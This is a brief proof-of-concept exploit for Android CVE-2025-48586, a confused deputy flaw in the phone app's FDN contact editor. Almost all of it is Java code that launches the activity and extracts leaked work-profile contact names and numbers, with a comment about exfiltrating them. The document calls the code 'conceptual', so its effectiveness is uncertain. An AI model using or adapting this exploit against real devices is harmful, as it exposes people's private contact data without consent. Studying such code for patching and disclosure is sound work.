CVE-2025-48586

// CVE-2025-48586 PoC - Confused Deputy Attack on Android EditFdnContactScreen // This PoC demonstrates the concept of exploiting the confused deputy vulnerability // Step 1: Launch the EditFdnContactScreen activity with a malicious callback Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.phone", "com.android.phone.EditFdnContactScreen" )); intent.setAction(Intent.ACTION_INSERT_OR_EDIT); intent.putExtra("insert_edit_mode", "insert"); // Step 2: Register a custom ActivityResultCallback to intercept results registerForActivityResult(new ActivityResultContracts.StartActivityForResult(), result -> { if (result.getResultCode() == Activity.RESULT_OK) { Intent data = result.getData(); if (data != null) { // Step 3: Extract contact data from the returned intent // Due to the confused deputy issue, work profile contacts may be exposed Bundle extras = data.getExtras(); if (extras != null) { String contactName = extras.getString("name"); String contactPhone = extras.getString("number"); // Log or exfiltrate the contact data Log.d("CVE-2025-48586", "Leaked Contact: " + contactName + ", " + contactPhone); } } } }).launch(intent); // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Device with work profile configured // 2. FDN contacts enabled in work profile // 3. Specific timing and intent manipulation // Reference: https://android.googlesource.com/platform/packages/services/Telephony/+/851fc787e96189a37f88cb9eaa688087883357c3
